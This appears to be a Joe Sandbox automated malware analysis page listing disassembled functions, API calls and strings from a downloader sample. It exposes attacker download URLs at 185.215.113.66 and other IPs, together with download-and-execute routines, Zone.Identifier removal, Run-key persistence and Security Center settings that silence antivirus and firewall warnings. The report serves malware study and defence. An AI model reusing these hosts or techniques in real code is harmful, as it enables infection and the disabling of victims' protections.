Associated: 00000007.00000002.3861054037.0000000000DB6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_1146722911.jbxd

Similarity

API ID: File$ExitNameProcess$CreateDeleteErrorFindLastModuleMutexPathSleepwcscmpwsprintf
String ID: %s%s$%s:Zone.Identifier$%s\%s$%s\%s$%userprofile%$%windir%$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Service$http://185.215.113.66/$http://193.233.132.177/$http://91.202.233.141/$winploravr.exe$xouauxuax
API String ID: 1209637258-903396872
Opcode ID: bef250098aef5a439628c782a743f770a640ba81bccfb246cbf9c5bb39022247
Instruction ID: ca7f2e0c2e5a70440880ed7d23354e975ea13ecb8b2c48225b57b88263ee49f8
Opcode Fuzzy Hash: bef250098aef5a439628c782a743f770a640ba81bccfb246cbf9c5bb39022247
Instruction Fuzzy Hash: 4DF123F5A40314EBEB24DF50DC49FE97779AB48704F404688B30AA6290DBB16B88DF75

Function 00DB1100 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 178
filememoryencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptImportKey.ADVAPI32(?,00DB31C8,00000214,00000000,00000000,00000000), ref: 00DB112A
CreateFileW.KERNELBASE(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 00DB114B
GetFileSize.KERNEL32(000000FF,00000000), ref: 00DB1164
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00DB1185
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 00DB11A4
CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00DB11F6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DB122D
RtlAllocateHeap.NTDLL(00000000), ref: 00DB1234

Part of subcall function 00DB1020: memcpy.MSVCR90 ref: 00DB107F
Part of subcall function 00DB1020: memcpy.MSVCR90 ref: 00DB1093
Part of subcall function 00DB1020: CryptImportKey.ADVAPI32(?,00000008,0000001C,00000000,00000000,00000000), ref: 00DB10B7
Part of subcall function 00DB1020: CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,?,?), ref: 00DB10DD
Part of subcall function 00DB1020: CryptDestroyKey.ADVAPI32(00000000), ref: 00DB10F0

CryptHashData.ADVAPI32(?,00000000,00000000,00000000), ref: 00DB1274
CryptVerifySignatureA.ADVAPI32(?,?,?,00000000,00000000,00000000), ref: 00DB1295
memcpy.MSVCR90 ref: 00DB12AF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DB12BD
HeapFree.KERNEL32(00000000), ref: 00DB12C4
UnmapViewOfFile.KERNEL32(00000000), ref: 00DB12CE
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00DB12D8
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000), ref: 00DB12F2
SetEndOfFile.KERNELBASE(000000FF), ref: 00DB12FC
CloseHandle.KERNEL32(000000FF), ref: 00DB1306
CryptDestroyKey.ADVAPI32(00000000), ref: 00DB1310

Strings

NGS!, xrefs: 00DB11BA

Memory Dump Source

Source File: 00000007.00000002.3859284184.0000000000DB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000007.00000002.3859253555.0000000000DB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3860898504.0000000000DB3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3861054037.0000000000DB6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_1146722911.jbxd

Similarity

API ID: Crypt$File$Heap$Creatememcpy$CloseDestroyHashImportProcessView$AllocateChangeDataEncryptFindFreeHandleMappingNotificationPointerSignatureSizeUnmapVerify
String ID: NGS!
API String ID: 2706389988-4070929822
Opcode ID: 1e714e8cbb9440874276c6e68a0d60c8dc1baeafd035b81f3c8e3f038cae4d49
Instruction ID: 5dfd11b03ad59389670d0b7af7afb30a54d27e8534350b0d4f700f03096bc5ce
Opcode Fuzzy Hash: 1e714e8cbb9440874276c6e68a0d60c8dc1baeafd035b81f3c8e3f038cae4d49
Instruction Fuzzy Hash: 58611875A00209EBDB14DFE4DC5AFAEBBB5AF48700F148648F601E7280D775AA40CB74

Function 00DB1020 Relevance: 7.6, APIs: 5, Instructions: 79
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCR90 ref: 00DB107F
memcpy.MSVCR90 ref: 00DB1093
CryptImportKey.ADVAPI32(?,00000008,0000001C,00000000,00000000,00000000), ref: 00DB10B7
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,?,?), ref: 00DB10DD
CryptDestroyKey.ADVAPI32(00000000), ref: 00DB10F0

Memory Dump Source

Source File: 00000007.00000002.3859284184.0000000000DB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000007.00000002.3859253555.0000000000DB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3860898504.0000000000DB3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3861054037.0000000000DB6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_1146722911.jbxd

Similarity

API ID: Crypt$memcpy$DestroyEncryptImport
String ID:
API String ID: 774555595-0
Opcode ID: 9cee97771e46878ae171b9f834df2ebd1db762ab76c480d087e623b2d8449c17
Instruction ID: 3f925a62a1f086b1eda7acba0205cf5cf7e7673f6797723c40b9ea9304bb2e84
Opcode Fuzzy Hash: 9cee97771e46878ae171b9f834df2ebd1db762ab76c480d087e623b2d8449c17
Instruction Fuzzy Hash: 783124B5D04249EFDB00CFE8C841BEEBBB4AF48300F008159EA05E7280E7759A48DBB5

Function 00DB1740 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 00DB174E
GetLocaleInfoA.KERNELBASE(00000400,00000007,?,0000000A), ref: 00DB1763
strcmp.MSVCR90 ref: 00DB1772

Strings

UKR, xrefs: 00DB1769

Memory Dump Source

Source File: 00000007.00000002.3859284184.0000000000DB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000007.00000002.3859253555.0000000000DB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3860898504.0000000000DB3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3861054037.0000000000DB6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_1146722911.jbxd

Similarity

API ID: InfoLocalememsetstrcmp
String ID: UKR
API String ID: 3255129521-64918367
Opcode ID: 41965c178d848f35ed75459df61e5c8605a6d8458ad24b2179b5ca93fbf233a1
Instruction ID: 3bef70066f9d46d8c3aa3991e50a88393cfe50889c4b41047555d1fe32d262a7
Opcode Fuzzy Hash: 41965c178d848f35ed75459df61e5c8605a6d8458ad24b2179b5ca93fbf233a1
Instruction Fuzzy Hash: 83E0487EE44308F6DA10A6A09C57FD977689B11B02F404554BF06571C1F9B1E71C97F2

Function 00DB1000 Relevance: 1.5, APIs: 1, Instructions: 10
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00DB5018,00000000,00000000,00000018,F0000000), ref: 00DB1013

Memory Dump Source

Source File: 00000007.00000002.3859284184.0000000000DB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000007.00000002.3859253555.0000000000DB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3860898504.0000000000DB3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3861054037.0000000000DB6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_1146722911.jbxd

Similarity

API ID: AcquireContextCrypt
String ID:
API String ID: 3951991833-0
Opcode ID: 13b6d9095c7e39f6188444a19bf1c7e97284b846dffc34c4c743c3211461be8c
Instruction ID: b725af2ef275d96960ec775c50a2340f06929c739b5a4a2b4082053813d63471
Opcode Fuzzy Hash: 13b6d9095c7e39f6188444a19bf1c7e97284b846dffc34c4c743c3211461be8c
Instruction Fuzzy Hash: 04B092302C8708F6E9602695AC07F8076088B48F22F204010B309681CA49E1B20822FE

Function 00DB1320 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 229
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00DB1329
srand.MSVCR90 ref: 00DB1330
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000208), ref: 00DB1350
strlen.MSVCR90 ref: 00DB135A
mbstowcs.MSVCR90 ref: 00DB1371
rand.MSVCR90 ref: 00DB1379
rand.MSVCR90 ref: 00DB138D
wsprintfW.USER32 ref: 00DB13B4
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00DB13CA
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00DB13F9
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00DB1428
memset.MSVCR90 ref: 00DB144F
InternetReadFile.WININET(00000000,?,00000207,?), ref: 00DB1471
WriteFile.KERNELBASE(000000FF,?,00000000,?,00000000), ref: 00DB14A2
CloseHandle.KERNEL32(000000FF), ref: 00DB14B1
Sleep.KERNELBASE(000003E8), ref: 00DB14BC
wsprintfW.USER32 ref: 00DB14D5
DeleteFileW.KERNELBASE(?), ref: 00DB14E5
Sleep.KERNEL32(000003E8), ref: 00DB14F0
Sleep.KERNELBASE(000003E8), ref: 00DB1511
DeleteFileW.KERNEL32(?), ref: 00DB153E
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 00DB154B
InternetCloseHandle.WININET(00000000), ref: 00DB1558
InternetCloseHandle.WININET(00000000), ref: 00DB1565
Sleep.KERNEL32(000003E8), ref: 00DB1570
rand.MSVCR90 ref: 00DB1585
Sleep.KERNEL32 ref: 00DB159C
rand.MSVCR90 ref: 00DB15A2
rand.MSVCR90 ref: 00DB15B6
wsprintfW.USER32 ref: 00DB15D7
DeleteUrlCacheEntryW.WININET(?), ref: 00DB15E7
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 00DB1601
wsprintfW.USER32 ref: 00DB161D
DeleteFileW.KERNEL32(?), ref: 00DB162D
Sleep.KERNEL32(000003E8), ref: 00DB1638
Sleep.KERNEL32(000003E8), ref: 00DB1659
DeleteFileW.KERNEL32(?), ref: 00DB1677

Strings

%ls:Zone.Identifier, xrefs: 00DB14C9
%temp%, xrefs: 00DB134B
%s\%d%d.exe, xrefs: 00DB13A8
%ls:Zone.Identifier, xrefs: 00DB1611
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36, xrefs: 00DB13C5
%s\%d%d.exe, xrefs: 00DB15CB

Memory Dump Source

Source File: 00000007.00000002.3859284184.0000000000DB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000007.00000002.3859253555.0000000000DB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3860898504.0000000000DB3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3861054037.0000000000DB6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_1146722911.jbxd

Similarity

API ID: File$Sleep$DeleteInternetrand$Closewsprintf$Handle$Open$CacheChangeCountCreateDownloadEntryEnvironmentExpandFindNotificationReadStringsTickWritembstowcsmemsetsrandstrlen
String ID: %ls:Zone.Identifier$%ls:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
API String ID: 101429522-1471993759
Opcode ID: 5a1cdec339022d55f25b1a36af9e658e12d53b014332466433d3d8ee2c5f9887
Instruction ID: ecdcfdc283ded5e2a40b7bc776c554af787e21e01fc3d100d4b47b4e946b9e34
Opcode Fuzzy Hash: 5a1cdec339022d55f25b1a36af9e658e12d53b014332466433d3d8ee2c5f9887
Instruction Fuzzy Hash: 6281C3B5900314EBD720EB64DC5AFEA7379AF88700F444698F60AD2281DA75EB94CF71

Function 00DB1690 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 00DB169E
memset.MSVCR90 ref: 00DB16AE
CreateProcessW.KERNELBASE(00000000,00DB166B,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00DB16E7
Sleep.KERNELBASE(000003E8), ref: 00DB16F7
ShellExecuteW.SHELL32(00000000,open,00DB166B,00000000,00000000,00000000), ref: 00DB1712
Sleep.KERNEL32(000003E8), ref: 00DB172C

Strings

D, xrefs: 00DB16B6
open, xrefs: 00DB170B
, xrefs: 00DB1721

Memory Dump Source

Source File: 00000007.00000002.3859284184.0000000000DB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000007.00000002.3859253555.0000000000DB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3860898504.0000000000DB3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3861054037.0000000000DB6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_1146722911.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 9f8903f60554e59037c298084ce10d6c588f649ce6426cc02248302180e9ced4
Instruction ID: e45fc493c21031ba342910cac64357019ee2966a1d6d3246bb0c18a89524e15e
Opcode Fuzzy Hash: 9f8903f60554e59037c298084ce10d6c588f649ce6426cc02248302180e9ced4
Instruction Fuzzy Hash: 18111F75A90308FBEB10DF90DC56FDD7778AB14B01F600115FA09AF2C0DAB1AA049775

Function 00DB1790 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 00DB17A7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00DB17C6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00DB17EF
InternetCloseHandle.WININET(00000000), ref: 00DB1818
InternetCloseHandle.WININET(00000000), ref: 00DB1822
Sleep.KERNELBASE(000003E8), ref: 00DB182D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36, xrefs: 00DB17A2

Memory Dump Source

Source File: 00000007.00000002.3859284184.0000000000DB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000007.00000002.3859253555.0000000000DB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3860898504.0000000000DB3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.3861054037.0000000000DB6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_1146722911.jbxd

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
API String ID: 2743515581-173034443
Opcode ID: f31d3675f910630ce9d87874e19aa10427e22dd1e856fd3a9396b9890415faa1
Instruction ID: 9a1a62aff80fe434aed324d50b7c2c33519d8d44463de381cf86301bc6d19ace
Opcode Fuzzy Hash: f31d3675f910630ce9d87874e19aa10427e22dd1e856fd3a9396b9890415faa1
Instruction Fuzzy Hash: AD21FC79A40308FBDB10DF94CC49FDEB7B9AB08705F148558EA15AB2C0C7B56A00DB61

Analysis Process: 2303012543.exePID: 3324, Parent PID: 2060COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00B510A0 Relevance: 33.3, APIs: 10, Strings: 9, Instructions: 29
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00B510A8

Part of subcall function 00B51000: ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00B5101A
Part of subcall function 00B51000: wsprintfW.USER32 ref: 00B51033
Part of subcall function 00B51000: PathFileExistsW.KERNELBASE(?), ref: 00B51043

DeleteUrlCacheEntry.WININET(http://185.215.113.66/1), ref: 00B510BF
DeleteUrlCacheEntry.WININET(http://185.215.113.66/2), ref: 00B510CA
DeleteUrlCacheEntry.WININET(http://185.215.113.66/3), ref: 00B510D5
DeleteUrlCacheEntry.WININET(http://185.215.113.66/4), ref: 00B510E0
DeleteUrlCacheEntry.WININET(http://185.215.113.66/5), ref: 00B510EB
DeleteUrlCacheEntry.WININET(http://185.215.113.66/6), ref: 00B510F6
DeleteUrlCacheEntry.WININET(http://185.215.113.66/_1), ref: 00B51101
DeleteUrlCacheEntry.WININET(http://185.215.113.66/_2), ref: 00B5110C
DeleteUrlCacheEntry.WININET(http://185.215.113.66/_3), ref: 00B51117

Strings

http://185.215.113.66/6, xrefs: 00B510F1
http://185.215.113.66/_3, xrefs: 00B51112
http://185.215.113.66/1, xrefs: 00B510BA
http://185.215.113.66/2, xrefs: 00B510C5
http://185.215.113.66/4, xrefs: 00B510DB
http://185.215.113.66/_2, xrefs: 00B51107
http://185.215.113.66/_1, xrefs: 00B510FC
http://185.215.113.66/3, xrefs: 00B510D0
http://185.215.113.66/5, xrefs: 00B510E6

Memory Dump Source

Source File: 00000008.00000002.1835628262.0000000000B51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000008.00000002.1835614748.0000000000B50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1835663055.0000000000B54000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b50000_2303012543.jbxd

Similarity

API ID: CacheDeleteEntry$EnvironmentExistsExpandFilePathSleepStringswsprintf
String ID: http://185.215.113.66/1$http://185.215.113.66/2$http://185.215.113.66/3$http://185.215.113.66/4$http://185.215.113.66/5$http://185.215.113.66/6$http://185.215.113.66/_1$http://185.215.113.66/_2$http://185.215.113.66/_3
API String ID: 1624407425-19798704
Opcode ID: b26271f0645c514db0bae58711f30a7976a377d147c4b996099ee5c1eafbdad8
Instruction ID: 37d188f7c09cc6828c5a6e84a4435a0274b077dc4f518cfa90589a3da9ee7326
Opcode Fuzzy Hash: b26271f0645c514db0bae58711f30a7976a377d147c4b996099ee5c1eafbdad8
Instruction Fuzzy Hash: 7EF09B71243300EF830227E46C0EB4576949A47B5374800C2FA06A71F1CD94404CDB3E

Function 00B51000 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00B5101A
wsprintfW.USER32 ref: 00B51033
PathFileExistsW.KERNELBASE(?), ref: 00B51043
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000001,00000002,00000000), ref: 00B51069
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 00B51085

Strings

%s\ssss3444443.jpg, xrefs: 00B51027
^Iu, xrefs: 00B51043
%userprofile%, xrefs: 00B51015
@1Wu.Wu, xrefs: 00B51069

Memory Dump Source

Source File: 00000008.00000002.1835628262.0000000000B51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000008.00000002.1835614748.0000000000B50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1835663055.0000000000B54000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b50000_2303012543.jbxd

Similarity

API ID: File$ChangeCloseCreateEnvironmentExistsExpandFindNotificationPathStringswsprintf
String ID: %s\ssss3444443.jpg$%userprofile%$@1Wu.Wu$^Iu
API String ID: 2220190937-433313667
Opcode ID: 4b0b788e90ea8ced34f496507453fef4badbdc923284df91f689f97dbfa522d2
Instruction ID: 76e5aeae0703dca043c74648b5a1314f25e14704f7d80edbbc2b2cb62440a1df
Opcode Fuzzy Hash: 4b0b788e90ea8ced34f496507453fef4badbdc923284df91f689f97dbfa522d2
Instruction Fuzzy Hash: 2401D4B454130C6BDB309B209C4AFE67378EB41702F0846D4AB18A20D1DAB05AC9DFA5

Analysis Process: winploravr.exePID: 3020, Parent PID: 4084COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 002A1840 Relevance: 147.4, APIs: 52, Strings: 32, Instructions: 399
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 002A1850
CreateMutexA.KERNELBASE(00000000,00000000,?), ref: 002A18E8
GetLastError.KERNEL32 ref: 002A18F4
ExitProcess.KERNEL32 ref: 002A1903
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 002A196D
PathFindFileNameW.SHLWAPI(?), ref: 002A197A
wsprintfW.USER32 ref: 002A1999
DeleteFileW.KERNEL32(?), ref: 002A19A9
wcscmp.MSVCR90 ref: 002A19C2
ExitProcess.KERNEL32 ref: 002A19E1

Strings

%s\%s, xrefs: 002A1A0C
FirewallOverride, xrefs: 002A1BBA
FirewallOverride, xrefs: 002A1CC6
d6*h6*l6*, xrefs: 002A1E16, 002A1E1D
xouauxuax, xrefs: 002A1856
AntiVirusOverride, xrefs: 002A1C17
l6*, xrefs: 002A18D3
winploravr.exe, xrefs: 002A1880
UpdatesOverride, xrefs: 002A1D61
%userprofile%, xrefs: 002A1AC3
46*, xrefs: 002A18AB
UpdatesDisableNotify, xrefs: 002A1D80
UpdatesDisableNotify, xrefs: 002A1C74
FirewallDisableNotify, xrefs: 002A1CE5
Windows Service, xrefs: 002A1894
AntiVirusOverride, xrefs: 002A1D23
AntiSpywareOverride, xrefs: 002A1BF8
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 002A1A58
UpdatesOverride, xrefs: 002A1C55
SOFTWARE\Microsoft\Security Center, xrefs: 002A1B95
FirewallDisableNotify, xrefs: 002A1BD9
L6*, xrefs: 002A18B5
%s%s, xrefs: 002A1E2C
AntiVirusDisableNotify, xrefs: 002A1D42
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 002A1CA1
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 002A1B28
http://185.215.113.66/, xrefs: 002A18A1, 002A1E2B
AntiSpywareOverride, xrefs: 002A1D04
%s:Zone.Identifier, xrefs: 002A198D
%s\%s, xrefs: 002A1ADC
AntiVirusDisableNotify, xrefs: 002A1C36
%windir%, xrefs: 002A19F3

Memory Dump Source

Source File: 00000009.00000002.1846603424.00000000002A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000009.00000002.1846589371.00000000002A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846619040.00000000002A3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846673406.00000000002A6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a0000_winploravr.jbxd

Similarity

API ID: File$ExitNameProcess$CreateDeleteErrorFindLastModuleMutexPathSleepwcscmpwsprintf
String ID: %s%s$%s:Zone.Identifier$%s\%s$%s\%s$%userprofile%$%windir%$46*$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$L6*$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Service$d6*h6*l6*$http://185.215.113.66/$l6*$winploravr.exe$xouauxuax
API String ID: 1209637258-2999526188
Opcode ID: 74fbb35c8f1cc88c9f7f4b064881e86fd3c70140029f4a5b378742664518f5f7
Instruction ID: 296e946222104e9600998789959d8293a108c6490cddd3c316e42e7cfd631e8f
Opcode Fuzzy Hash: 74fbb35c8f1cc88c9f7f4b064881e86fd3c70140029f4a5b378742664518f5f7
Instruction Fuzzy Hash: D6F132F1A50314ABEB24DB60DC4AFEAB779AB4A714F0045C8B309A6190DFB15B98CF54

Non-executed Functions

Function 002A1100 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 178
filememoryencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptImportKey.ADVAPI32(?,002A31C8,00000214,00000000,00000000,00000000), ref: 002A112A
CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 002A114B
GetFileSize.KERNEL32(000000FF,00000000), ref: 002A1164
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 002A1185
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 002A11A4
CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 002A11F6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 002A122D
HeapAlloc.KERNEL32(00000000), ref: 002A1234

Part of subcall function 002A1020: memcpy.MSVCR90 ref: 002A107F
Part of subcall function 002A1020: memcpy.MSVCR90 ref: 002A1093
Part of subcall function 002A1020: CryptImportKey.ADVAPI32(?,00000008,0000001C,00000000,00000000,00000000), ref: 002A10B7
Part of subcall function 002A1020: CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,?,?), ref: 002A10DD
Part of subcall function 002A1020: CryptDestroyKey.ADVAPI32(00000000), ref: 002A10F0

CryptHashData.ADVAPI32(?,00000000,00000000,00000000), ref: 002A1274
CryptVerifySignatureA.ADVAPI32(?,?,?,00000000,00000000,00000000), ref: 002A1295
memcpy.MSVCR90 ref: 002A12AF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 002A12BD
HeapFree.KERNEL32(00000000), ref: 002A12C4
UnmapViewOfFile.KERNEL32(00000000), ref: 002A12CE
CloseHandle.KERNEL32(00000000), ref: 002A12D8
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000), ref: 002A12F2
SetEndOfFile.KERNEL32(000000FF), ref: 002A12FC
CloseHandle.KERNEL32(000000FF), ref: 002A1306
CryptDestroyKey.ADVAPI32(00000000), ref: 002A1310

Strings

NGS!, xrefs: 002A11BA

Memory Dump Source

Source File: 00000009.00000002.1846603424.00000000002A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000009.00000002.1846589371.00000000002A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846619040.00000000002A3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846673406.00000000002A6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a0000_winploravr.jbxd

Similarity

API ID: Crypt$File$Heap$Creatememcpy$CloseDestroyHandleHashImportProcessView$AllocDataEncryptFreeMappingPointerSignatureSizeUnmapVerify
String ID: NGS!
API String ID: 1316431928-4070929822
Opcode ID: 026e9932148ead48c09488f74b5cadaf59d98c890036152493b991f45781375c
Instruction ID: f66fa7e3dfa219befde8f840079eb442cf091ae15178157b326f5b9fea254e04
Opcode Fuzzy Hash: 026e9932148ead48c09488f74b5cadaf59d98c890036152493b991f45781375c
Instruction Fuzzy Hash: 62613B75A00219EFDB14CFE4DC4AFAEBBB9BB49700F148548F605B7280DB75AA51CB60

Function 002A1020 Relevance: 7.6, APIs: 5, Instructions: 79
encryptionCOMMON

